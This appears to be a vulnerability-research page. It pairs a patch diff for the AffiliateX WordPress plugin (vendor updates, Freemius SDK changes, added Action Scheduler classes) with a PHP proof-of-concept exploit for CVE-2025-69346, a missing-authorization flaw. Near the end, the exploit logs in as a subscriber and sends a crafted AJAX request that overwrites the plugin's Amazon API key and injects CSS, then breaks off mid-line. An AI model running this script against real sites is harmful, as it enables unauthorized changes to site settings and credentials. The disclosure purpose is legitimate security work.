+            'reference' => 'c58cdbab17651303d406cd3b22cf9d75c71c986c',
+            'type' => 'wordpress-plugin',
+            'install_path' => __DIR__ . '/../woocommerce/action-scheduler',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
         'wpcenter/affiliatex' => array(
-            'pretty_version' => '1.3.9.3',
-            'version' => '1.3.9.3',
-            'reference' => 'fcaec4657b5423637659e5ab57e9fbd066d5294f',
+            'pretty_version' => '1.4.0',
+            'version' => '1.4.0.0',
+            'reference' => '5042e2a5f9a817b781340edf43ffb0da5dc39787',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/affiliatex/vendor/composer/platform_check.php
+++ b/affiliatex/vendor/composer/platform_check.php
@@ -4,8 +4,8 @@

 $issues = array();

-if (!(PHP_VERSION_ID >= 50600)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 5.6.0". You are running ' . PHP_VERSION . '.';
+if (!(PHP_VERSION_ID >= 70200)) {
+    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.0". You are running ' . PHP_VERSION . '.';
 }

 if ($issues) {
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -14034,6 +14034,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -21667,6 +21671,8 @@
                 return;
             }

+            $this->do_action( 'after_license_activation' );
+
             $premium_license = new FS_Plugin_License( $license );

             // Updated site plan.
@@ -21746,6 +21752,8 @@
                     'error'
                 );

+                $this->do_action( 'after_license_deactivation', $license );
+
                 return;
             }

@@ -21766,6 +21774,8 @@

             $this->_store_account();

+            $this->do_action( 'after_license_deactivation', $license );
+
             if ( $show_notice ) {
                 $this->_admin_notices->add(
                     sprintf( $this->is_only_premium() ?
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
@@ -132,10 +132,11 @@
          */
         function formatted_gross()
         {
+            $price = $this->gross + $this->vat;
             return (
-                ( $this->gross < 0 ? '-' : '' ) .
+                ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
-                number_format( abs( $this->gross ), 2, '.', ',' ) . ' ' .
+                number_format( abs( $price ), 2, '.', ',' ) . ' ' .
                 strtoupper( $this->currency )
             );
         }
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/entities/class-fs-site.php
@@ -202,7 +202,7 @@
                 // Vendasta
                 ( fs_ends_with( $subdomain, '.websitepro-staging.com' ) || fs_ends_with( $subdomain, '.websitepro.hosting' ) ) ||
                 // InstaWP
-                fs_ends_with( $subdomain, '.instawp.xyz' ) ||
+                ( fs_ends_with( $subdomain, '.instawp.co' ) || fs_ends_with( $subdomain, '.instawp.link' ) || fs_ends_with( $subdomain, '.instawp.xyz' ) ) ||
                 // 10Web Hosting
                 ( fs_ends_with( $subdomain, '-dev.10web.site' ) || fs_ends_with( $subdomain, '-dev.10web.cloud' ) )
             );
@@ -220,6 +220,8 @@
             // Services aimed at providing a WordPress sandbox environment.
             $sandbox_wp_environment_domains = array(
                 // InstaWP
+                'instawp.co',
+                'instawp.link',
                 'instawp.xyz',

                 // TasteWP
--- a/affiliatex/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
@@ -12,7 +12,36 @@

 	class FS_Checkout_Manager {

-		# region Singleton
+        /**
+         * Allowlist of query parameters for checkout.
+         */
+        private $_allowed_custom_params = array(
+            // currency
+            'currency'                      => true,
+            'default_currency'              => true,
+            // cart
+            'always_show_renewals_amount'   => true,
+            'annual_discount'               => true,
+            'billing_cycle'                 => true,
+            'billing_cycle_selector'        => true,
+            'bundle_discount'               => true,
+            'maximize_discounts'            => true,
+            'multisite_discount'            => true,
+            'show_inline_currency_selector' => true,
+            'show_monthly'                  => true,
+            // appearance
+            'form_position'                 => true,
+            'is_bundle_collapsed'           => true,
+            'layout'                        => true,
+            'refund_policy_position'        => true,
+            'show_refund_badge'             => true,
+            'show_reviews'                  => true,
+            'show_upsells'                  => true,
+            'title'                         => true,
+        );
+
+
+        # region Singleton

 		/**
 		 * @var FS_Checkout_Manager
@@ -153,7 +182,12 @@
 				( $fs->is_theme() && current_user_can( 'install_themes' ) )
 			);

-			return array_merge( $context_params, $_GET, array(
+            $filtered_params = $fs->apply_filters('checkout/parameters', $context_params);
+
+            // Allowlist only allowed query params.
+            $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);
+
+            return array_merge( $context_params, $filtered_params, $_GET, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
@@ -239,4 +273,4 @@
 		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
 			return $fs->get_unique_affix() . '_checkout_redirect';
 		}
-	}
 No newline at end of file
+	}
--- a/affiliatex/vendor/freemius/wordpress-sdk/start.php
+++ b/affiliatex/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.12.2';
+	$this_sdk_version = '2.13.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -446,6 +446,7 @@
 	 *      fs_plugin_icon_{plugin_slug}
 	 *      fs_show_trial_{plugin_slug}
 	 *      fs_is_pricing_page_visible_{plugin_slug}
+	 *      fs_checkout/parameters_{plugin_slug}
 	 *
 	 * --------------------------------------------------------
 	 *
@@ -453,6 +454,8 @@
 	 *
 	 *      fs_after_license_loaded_{plugin_slug}
 	 *      fs_after_license_change_{plugin_slug}
+	 *      fs_after_license_activation_{plugin_slug}
+	 *      fs_after_license_deactivation_{plugin_slug}
 	 *      fs_after_plans_sync_{plugin_slug}
 	 *
 	 *      fs_after_account_details_{plugin_slug}
--- a/affiliatex/vendor/woocommerce/action-scheduler/action-scheduler.php
+++ b/affiliatex/vendor/woocommerce/action-scheduler/action-scheduler.php
@@ -0,0 +1,70 @@
+<?php
+/**
+ * Plugin Name: Action Scheduler
+ * Plugin URI: https://actionscheduler.org
+ * Description: A robust scheduling library for use in WordPress plugins.
+ * Author: Automattic
+ * Author URI: https://automattic.com/
+ * Version: 3.9.3
+ * License: GPLv3
+ * Requires at least: 6.5
+ * Tested up to: 6.8
+ * Requires PHP: 7.2
+ *
+ * Copyright 2019 Automattic, Inc.  (https://automattic.com/contact/)
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <https://www.gnu.org/licenses/>.
+ *
+ * @package ActionScheduler
+ */
+
+if ( ! function_exists( 'action_scheduler_register_3_dot_9_dot_3' ) && function_exists( 'add_action' ) ) { // WRCS: DEFINED_VERSION.
+
+	if ( ! class_exists( 'ActionScheduler_Versions', false ) ) {
+		require_once __DIR__ . '/classes/ActionScheduler_Versions.php';
+		add_action( 'plugins_loaded', array( 'ActionScheduler_Versions', 'initialize_latest_version' ), 1, 0 );
+	}
+
+	add_action( 'plugins_loaded', 'action_scheduler_register_3_dot_9_dot_3', 0, 0 ); // WRCS: DEFINED_VERSION.
+
+	// phpcs:disable Generic.Functions.OpeningFunctionBraceKernighanRitchie.ContentAfterBrace
+	/**
+	 * Registers this version of Action Scheduler.
+	 */
+	function action_scheduler_register_3_dot_9_dot_3() { // WRCS: DEFINED_VERSION.
+		$versions = ActionScheduler_Versions::instance();
+		$versions->register( '3.9.3', 'action_scheduler_initialize_3_dot_9_dot_3' ); // WRCS: DEFINED_VERSION.
+	}
+
+	// phpcs:disable Generic.Functions.OpeningFunctionBraceKernighanRitchie.ContentAfterBrace
+	/**
+	 * Initializes this version of Action Scheduler.
+	 */
+	function action_scheduler_initialize_3_dot_9_dot_3() { // WRCS: DEFINED_VERSION.
+		// A final safety check is required even here, because historic versions of Action Scheduler
+		// followed a different pattern (in some unusual cases, we could reach this point and the
+		// ActionScheduler class is already defined—so we need to guard against that).
+		if ( ! class_exists( 'ActionScheduler', false ) ) {
+			require_once __DIR__ . '/classes/abstracts/ActionScheduler.php';
+			ActionScheduler::init( __FILE__ );
+		}
+	}
+
+	// Support usage in themes - load this version if no plugin has loaded a version yet.
+	if ( did_action( 'plugins_loaded' ) && ! doing_action( 'plugins_loaded' ) && ! class_exists( 'ActionScheduler', false ) ) {
+		action_scheduler_initialize_3_dot_9_dot_3(); // WRCS: DEFINED_VERSION.
+		do_action( 'action_scheduler_pre_theme_init' );
+		ActionScheduler_Versions::initialize_latest_version();
+	}
+}
--- a/affiliatex/vendor/woocommerce/action-scheduler/classes/ActionScheduler_ActionClaim.php
+++ b/affiliatex/vendor/woocommerce/action-scheduler/classes/ActionScheduler_ActionClaim.php
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Class ActionScheduler_ActionClaim
+ */
+class ActionScheduler_ActionClaim {
+	/**
+	 * Claim ID.
+	 *
+	 * @var string
+	 */
+	private $id = '';
+
+	/**
+	 * Claimed action IDs.
+	 *
+	 * @var int[]
+	 */
+	private $action_ids = array();
+
+	/**
+	 * Construct.
+	 *
+	 * @param string $id Claim ID.
+	 * @param int[]  $action_ids Action IDs.
+	 */
+	public function __construct( $id, array $action_ids ) {
+		$this->id         = $id;
+		$this->action_ids = $action_ids;
+	}
+
+	/**
+	 * Get claim ID.
+	 */
+	public function get_id() {
+		return $this->id;
+	}
+
+	/**
+	 * Get IDs of claimed actions.
+	 */
+	public function get_actions() {
+		return $this->action_ids;
+	}
+}
--- a/affiliatex/vendor/woocommerce/action-scheduler/classes/ActionScheduler_ActionFactory.php
+++ b/affiliatex/vendor/woocommerce/action-scheduler/classes/ActionScheduler_ActionFactory.php
@@ -0,0 +1,378 @@
+<?php
+
+/**
+ * Class ActionScheduler_ActionFactory
+ */
+class ActionScheduler_ActionFactory {
+
+	/**
+	 * Return stored actions for given params.
+	 *
+	 * @param string                        $status The action's status in the data store.
+	 * @param string                        $hook The hook to trigger when this action runs.
+	 * @param array                         $args Args to pass to callbacks when the hook is triggered.
+	 * @param ActionScheduler_Schedule|null $schedule The action's schedule.
+	 * @param string                        $group A group to put the action in.
+	 * phpcs:ignore Squiz.Commenting.FunctionComment.ExtraParamComment
+	 * @param int                           $priority The action priority.
+	 *
+	 * @return ActionScheduler_Action An instance of the stored action.
+	 */
+	public function get_stored_action( $status, $hook, array $args = array(), ?ActionScheduler_Schedule $schedule = null, $group = '' ) {
+		// The 6th parameter ($priority) is not formally declared in the method signature to maintain compatibility with
+		// third-party subclasses created before this param was added.
+		$priority = func_num_args() >= 6 ? (int) func_get_arg( 5 ) : 10;
+
+		switch ( $status ) {
+			case ActionScheduler_Store::STATUS_PENDING:
+				$action_class = 'ActionScheduler_Action';
+				break;
+			case ActionScheduler_Store::STATUS_CANCELED:
+				$action_class = 'ActionScheduler_CanceledAction';
+				if ( ! is_null( $schedule ) && ! is_a( $schedule, 'ActionScheduler_CanceledSchedule' ) && ! is_a( $schedule, 'ActionScheduler_NullSchedule' ) ) {
+					$schedule = new ActionScheduler_CanceledSchedule( $schedule->get_date() );
+				}
+				break;
+			default:
+				$action_class = 'ActionScheduler_FinishedAction';
+				break;
+		}
+
+		$action_class = apply_filters( 'action_scheduler_stored_action_class', $action_class, $status, $hook, $args, $schedule, $group );
+
+		$action = new $action_class( $hook, $args, $schedule, $group );
+		$action->set_priority( $priority );
+
+		/**
+		 * Allow 3rd party code to change the instantiated action for a given hook, args, schedule and group.
+		 *
+		 * @param ActionScheduler_Action   $action The instantiated action.
+		 * @param string                   $hook The instantiated action's hook.
+		 * @param array                    $args The instantiated action's args.
+		 * @param ActionScheduler_Schedule $schedule The instantiated action's schedule.
+		 * @param string                   $group The instantiated action's group.
+		 * @param int                      $priority The action priority.
+		 */
+		return apply_filters( 'action_scheduler_stored_action_instance', $action, $hook, $args, $schedule, $group, $priority );
+	}
+
+	/**
+	 * Enqueue an action to run one time, as soon as possible (rather a specific scheduled time).
+	 *
+	 * This method creates a new action using the NullSchedule. In practice, this results in an action scheduled to
+	 * execute "now". Therefore, it will generally run as soon as possible but is not prioritized ahead of other actions
+	 * that are already past-due.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param string $group A group to put the action in.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function async( $hook, $args = array(), $group = '' ) {
+		return $this->async_unique( $hook, $args, $group, false );
+	}
+
+	/**
+	 * Same as async, but also supports $unique param.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param string $group A group to put the action in.
+	 * @param bool   $unique Whether to ensure the action is unique.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function async_unique( $hook, $args = array(), $group = '', $unique = true ) {
+		$schedule = new ActionScheduler_NullSchedule();
+		$action   = new ActionScheduler_Action( $hook, $args, $schedule, $group );
+		return $unique ? $this->store_unique_action( $action, $unique ) : $this->store( $action );
+	}
+
+	/**
+	 * Create single action.
+	 *
+	 * @param string $hook  The hook to trigger when this action runs.
+	 * @param array  $args  Args to pass when the hook is triggered.
+	 * @param int    $when  Unix timestamp when the action will run.
+	 * @param string $group A group to put the action in.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function single( $hook, $args = array(), $when = null, $group = '' ) {
+		return $this->single_unique( $hook, $args, $when, $group, false );
+	}
+
+	/**
+	 * Create single action only if there is no pending or running action with same name and params.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param int    $when Unix timestamp when the action will run.
+	 * @param string $group A group to put the action in.
+	 * @param bool   $unique Whether action scheduled should be unique.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function single_unique( $hook, $args = array(), $when = null, $group = '', $unique = true ) {
+		$date     = as_get_datetime_object( $when );
+		$schedule = new ActionScheduler_SimpleSchedule( $date );
+		$action   = new ActionScheduler_Action( $hook, $args, $schedule, $group );
+		return $unique ? $this->store_unique_action( $action ) : $this->store( $action );
+	}
+
+	/**
+	 * Create the first instance of an action recurring on a given interval.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param int    $first Unix timestamp for the first run.
+	 * @param int    $interval Seconds between runs.
+	 * @param string $group A group to put the action in.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function recurring( $hook, $args = array(), $first = null, $interval = null, $group = '' ) {
+		return $this->recurring_unique( $hook, $args, $first, $interval, $group, false );
+	}
+
+	/**
+	 * Create the first instance of an action recurring on a given interval only if there is no pending or running action with same name and params.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param int    $first Unix timestamp for the first run.
+	 * @param int    $interval Seconds between runs.
+	 * @param string $group A group to put the action in.
+	 * @param bool   $unique Whether action scheduled should be unique.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function recurring_unique( $hook, $args = array(), $first = null, $interval = null, $group = '', $unique = true ) {
+		if ( empty( $interval ) ) {
+			return $this->single_unique( $hook, $args, $first, $group, $unique );
+		}
+		$date     = as_get_datetime_object( $first );
+		$schedule = new ActionScheduler_IntervalSchedule( $date, $interval );
+		$action   = new ActionScheduler_Action( $hook, $args, $schedule, $group );
+		return $unique ? $this->store_unique_action( $action ) : $this->store( $action );
+	}
+
+	/**
+	 * Create the first instance of an action recurring on a Cron schedule.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param int    $base_timestamp The first instance of the action will be scheduled
+	 *        to run at a time calculated after this timestamp matching the cron
+	 *        expression. This can be used to delay the first instance of the action.
+	 * @param int    $schedule A cron definition string.
+	 * @param string $group A group to put the action in.
+	 *
+	 * @return int The ID of the stored action.
+	 */
+	public function cron( $hook, $args = array(), $base_timestamp = null, $schedule = null, $group = '' ) {
+		return $this->cron_unique( $hook, $args, $base_timestamp, $schedule, $group, false );
+	}
+
+
+	/**
+	 * Create the first instance of an action recurring on a Cron schedule only if there is no pending or running action with same name and params.
+	 *
+	 * @param string $hook The hook to trigger when this action runs.
+	 * @param array  $args Args to pass when the hook is triggered.
+	 * @param int    $base_timestamp The first instance of the action will be scheduled
+	 *        to run at a time calculated after this timestamp matching the cron
+	 *        expression. This can be used to delay the first instance of the action.
+	 * @param int    $schedule A cron definition string.
+	 * @param string $group A group to put the action in.
+	 * @param bool   $unique Whether action scheduled should be unique.
+	 *
+	 * @return int The ID of the stored action.
+	 **/
+	public function cron_unique( $hook, $args = array(), $base_timestamp = null, $schedule = null, $group = '', $unique = true ) {
+		if ( empty( $schedule ) ) {
+			return $this->single_unique( $hook, $args, $base_timestamp, $group, $unique );
+		}
+		$date     = as_get_datetime_object( $base_timestamp );
+		$cron     = CronExpression::factory( $schedule );
+		$schedule = new ActionScheduler_CronSchedule( $date, $cron );
+		$action   = new ActionScheduler_Action( $hook, $args, $schedule, $group );
+		return $unique ? $this->store_unique_action( $action ) : $this->store( $action );
+	}
+
+	/**
+	 * Create a successive instance of a recurring or cron action.
+	 *
+	 * Importantly, the action will be rescheduled to run based on the current date/time.
+	 * That means when the action is scheduled to run in the past, the next scheduled date
+	 * will be pushed forward. For example, if a recurring action set to run every hour
+	 * was scheduled to run 5 seconds ago, it will be next scheduled for 1 hour in the
+	 * future, which is 1 hour and 5 seconds from when it was last scheduled to run.
+	 *
+	 * Alternatively, if the action is scheduled to run in the future, and is run early,
+	 * likely via manual intervention, then its schedule will change based on the time now.
+	 * For example, if a recurring action set to run every day, and is run 12 hours early,
+	 * it will run again in 24 hours, not 36 hours.
+	 *
+	 * This slippage is less of an issue with Cron actions, as the specific run time can
+	 * be set for them to run, e.g. 1am each day. In those cases, and entire period would
+	 * need to be missed before there was any change is scheduled, e.g. in the case of an
+	 * action scheduled for 1am each day, the action would need to run an entire day late.
+	 *
+	 * @param ActionScheduler_Action $action The existing action.
+	 *
+	 * @return string The ID of the stored action
+	 * @throws InvalidArgumentException If $action is not a recurring action.
+	 */
+	public function repeat( $action ) {
+		$schedule = $action->get_schedule();
+		$next     = $schedule->get_next( as_get_datetime_object() );
+
+		if ( is_null( $next ) || ! $schedule->is_recurring() ) {
+			throw new InvalidArgumentException( __( 'Invalid action - must be a recurring action.', 'action-scheduler' ) );
+		}
+
+		$schedule_class = get_class( $schedule );
+		$new_schedule   = new $schedule( $next, $schedule->get_recurrence(), $schedule->get_first_date() );
+		$new_action     = new ActionScheduler_Action( $action->get_hook(), $action->get_args(), $new_schedule, $action->get_group() );
+		$new_action->set_priority( $action->get_priority() );
+		return $this->store( $new_action );
+	}
+
+	/**
+	 * Creates a scheduled action.
+	 *
+	 * This general purpose method can be used in place of specific methods such as async(),
+	 * async_unique(), single() or single_unique(), etc.
+	 *
+	 * @internal Not intended for public use, should not be overridden by subclasses.
+	 *
+	 * @param array $options {
+	 *     Describes the action we wish to schedule.
+	 *
+	 *     @type string     $type      Must be one of 'async', 'cron', 'recurring', or 'single'.
+	 *     @type string     $hook      The hook to be executed.
+	 *     @type array      $arguments Arguments to be passed to the callback.
+	 *     @type string     $group     The action group.
+	 *     @type bool       $unique    If the action should be unique.
+	 *     @type int        $when      Timestamp. Indicates when the action, or first instance of the action in the case
+	 *                                 of recurring or cron actions, becomes due.
+	 *     @type int|string $pattern   Recurrence pattern. This is either an interval in seconds for recurring actions
+	 *                                 or a cron expression for cron actions.
+	 *     @type int        $priority  Lower values means higher priority. Should be in the range 0-255.
+	 * }
+	 *
+	 * @return int The action ID. Zero if there was an error scheduling the action.
+	 */
+	public function create( array $options = array() ) {
+		$defaults = array(
+			'type'      => 'single',
+			'hook'      => '',
+			'arguments' => array(),
+			'group'     => '',
+			'unique'    => false,
+			'when'      => time(),
+			'pattern'   => null,
+			'priority'  => 10,
+		);
+
+		$options = array_merge( $defaults, $options );
+
+		// Cron/recurring actions without a pattern are treated as single actions (this gives calling code the ability
+		// to use functions like as_schedule_recurring_action() to schedule recurring as well as single actions).
+		if ( ( 'cron' === $options['type'] || 'recurring' === $options['type'] ) && empty( $options['pattern'] ) ) {
+			$options['type'] = 'single';
+		}
+
+		switch ( $options['type'] ) {
+			case 'async':
+				$schedule = new ActionScheduler_NullSchedule();
+				break;
+
+			case 'cron':
+				$date     = as_get_datetime_object( $options['when'] );
+				$cron     = CronExpression::factory( $options['pattern'] );
+				$schedule = new ActionScheduler_CronSchedule( $date, $cron );
+				break;
+
+			case 'recurring':
+				$date     = as_get_datetime_object( $options['when'] );
+				$schedule = new ActionScheduler_IntervalSchedule( $date, $options['pattern'] );
+				break;
+
+			case 'single':
+				$date     = as_get_datetime_object( $options['when'] );
+				$schedule = new ActionScheduler_SimpleSchedule( $date );
+				break;
+
+			default:
+				// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+				error_log( "Unknown action type '{$options['type']}' specified when trying to create an action for '{$options['hook']}'." );
+				return 0;
+		}
+
+		$action = new ActionScheduler_Action( $options['hook'], $options['arguments'], $schedule, $options['group'] );
+		$action->set_priority( $options['priority'] );
+
+		$action_id = 0;
+		try {
+			$action_id = $options['unique'] ? $this->store_unique_action( $action ) : $this->store( $action );
+		} catch ( Exception $e ) {
+			// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+			error_log(
+				sprintf(
+					/* translators: %1$s is the name of the hook to be enqueued, %2$s is the exception message. */
+					__( 'Caught exception while enqueuing action "%1$s": %2$s', 'action-scheduler' ),
+					$options['hook'],
+					$e->getMessage()
+				)
+			);
+		}
+		return $action_id;
+	}
+
+	/**
+	 * Save action to database.
+	 *
+	 * @param ActionScheduler_Action $action Action object to save.
+	 *
+	 * @return int The ID of the stored action
+	 */
+	protected function store( ActionScheduler_Action $action ) {
+		$store = ActionScheduler_Store::instance();
+		return $store->save_action( $action );
+	}
+
+	/**
+	 * Store action if it's unique.
+	 *
+	 * @param ActionScheduler_Action $action Action object to store.
+	 *
+	 * @return int ID of the created action. Will be 0 if action was not created.
+	 */
+	protected function store_unique_action( ActionScheduler_Action $action ) {
+		$store = ActionScheduler_Store::instance();
+		if ( method_exists( $store, 'save_unique_action' ) ) {
+			return $store->save_unique_action( $action );
+		} else {
+			/**
+			 * Fallback to non-unique action if the store doesn't support unique actions.
+			 * We try to save the action as unique, accepting that there might be a race condition.
+			 * This is likely still better than giving up on unique actions entirely.
+			 */
+			$existing_action_id = (int) $store->find_action(
+				$action->get_hook(),
+				array(
+					'args'   => $action->get_args(),
+					'status' => ActionScheduler_Store::STATUS_PENDING,
+					'group'  => $action->get_group(),
+				)
+			);
+			if ( $existing_action_id > 0 ) {
+				return 0;
+			}
+			return $store->save_action( $action );
+		}
+	}
+}
--- a/affiliatex/vendor/woocommerce/action-scheduler/classes/ActionScheduler_AdminView.php
+++ b/affiliatex/vendor/woocommerce/action-scheduler/classes/ActionScheduler_AdminView.php
@@ -0,0 +1,311 @@
+<?php
+
+/**
+ * Class ActionScheduler_AdminView
+ *
+ * @codeCoverageIgnore
+ */
+class ActionScheduler_AdminView extends ActionScheduler_AdminView_Deprecated {
+
+	/**
+	 * Instance.
+	 *
+	 * @var null|self
+	 */
+	private static $admin_view = null;
+
+	/**
+	 * Screen ID.
+	 *
+	 * @var string
+	 */
+	private static $screen_id = 'tools_page_action-scheduler';
+
+	/**
+	 * ActionScheduler_ListTable instance.
+	 *
+	 * @var ActionScheduler_ListTable
+	 */
+	protected $list_table;
+
+	/**
+	 * Get instance.
+	 *
+	 * @return ActionScheduler_AdminView
+	 * @codeCoverageIgnore
+	 */
+	public static function instance() {
+
+		if ( empty( self::$admin_view ) ) {
+			$class            = apply_filters( 'action_scheduler_admin_view_class', 'ActionScheduler_AdminView' );
+			self::$admin_view = new $class();
+		}
+
+		return self::$admin_view;
+	}
+
+	/**
+	 * Initialize.
+	 *
+	 * @codeCoverageIgnore
+	 */
+	public function init() {
+		if ( is_admin() && ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) ) {
+
+			if ( class_exists( 'WooCommerce' ) ) {
+				add_action( 'woocommerce_admin_status_content_action-scheduler', array( $this, 'render_admin_ui' ) );
+				add_action( 'woocommerce_system_status_report', array( $this, 'system_status_report' ) );
+				add_filter( 'woocommerce_admin_status_tabs', array( $this, 'register_system_status_tab' ) );
+			}
+
+			add_action( 'admin_menu', array( $this, 'register_menu' ) );
+			add_action( 'admin_notices', array( $this, 'maybe_check_pastdue_actions' ) );
+			add_action( 'current_screen', array( $this, 'add_help_tabs' ) );
+		}
+	}
+
+	/**
+	 * Print system status report.
+	 */
+	public function system_status_report() {
+		$table = new ActionScheduler_wcSystemStatus( ActionScheduler::store() );
+		$table->render();
+	}
+
+	/**
+	 * Registers action-scheduler into WooCommerce > System status.
+	 *
+	 * @param array $tabs An associative array of tab key => label.
+	 * @return array $tabs An associative array of tab key => label, including Action Scheduler's tabs
+	 */
+	public function register_system_status_tab( array $tabs ) {
+		$tabs['action-scheduler'] = __( 'Scheduled Actions', 'action-scheduler' );
+
+		return $tabs;
+	}
+
+	/**
+	 * Include Action Scheduler's administration under the Tools menu.
+	 *
+	 * A menu under the Tools menu is important for backward compatibility (as that's
+	 * where it started), and also provides more convenient access than the WooCommerce
+	 * System Status page, and for sites where WooCommerce isn't active.
+	 */
+	public function register_menu() {
+		$hook_suffix = add_submenu_page(
+			'tools.php',
+			__( 'Scheduled Actions', 'action-scheduler' ),
+			__( 'Scheduled Actions', 'action-scheduler' ),
+			'manage_options',
+			'action-scheduler',
+			array( $this, 'render_admin_ui' )
+		);
+		add_action( 'load-' . $hook_suffix, array( $this, 'process_admin_ui' ) );
+	}
+
+	/**
+	 * Triggers processing of any pending actions.
+	 */
+	public function process_admin_ui() {
+		$this->get_list_table();
+	}
+
+	/**
+	 * Renders the Admin UI
+	 */
+	public function render_admin_ui() {
+		$table = $this->get_list_table();
+		$table->display_page();
+	}
+
+	/**
+	 * Get the admin UI object and process any requested actions.
+	 *
+	 * @return ActionScheduler_ListTable
+	 */
+	protected function get_list_table() {
+		if ( null === $this->list_table ) {
+			$this->list_table = new ActionScheduler_ListTable( ActionScheduler::store(), ActionScheduler::logger(), ActionScheduler::runner() );
+			$this->list_table->process_actions();
+		}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69346 - AffiliateX <= 1.3.9.3 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-69346
 * Requires: WordPress installation with AffiliateX plugin <= 1.3.9.3
 *           Valid subscriber-level credentials
 *           Valid nonce from plugin page
 */

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$nonce = 'abc123def456'; // Obtain from plugin page source

// First authenticate to get cookies
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => str_replace('admin-ajax.php', 'wp-admin/', $target_url),
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

$response = curl_exec($ch);

// Exploit the missing authorization in save_block_settings()
$payload = [
    'action' => 'affiliatex_save_block_settings',
    'security' => $nonce,
    'data' => base64_encode(serialize([
        'amazon_api_key' => 'attacker_controlled_value',
        'custom_css' => 'body { background: red !important; }'
    ]))
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_REFERER => str_replace('admin-ajax.php', 'wp-admin/', $target_url)
]);

$response = curl_exec($ch);
curl_close($ch);

// Check if exploitation succeeded
if (strpos($response, 'success') !== false) {
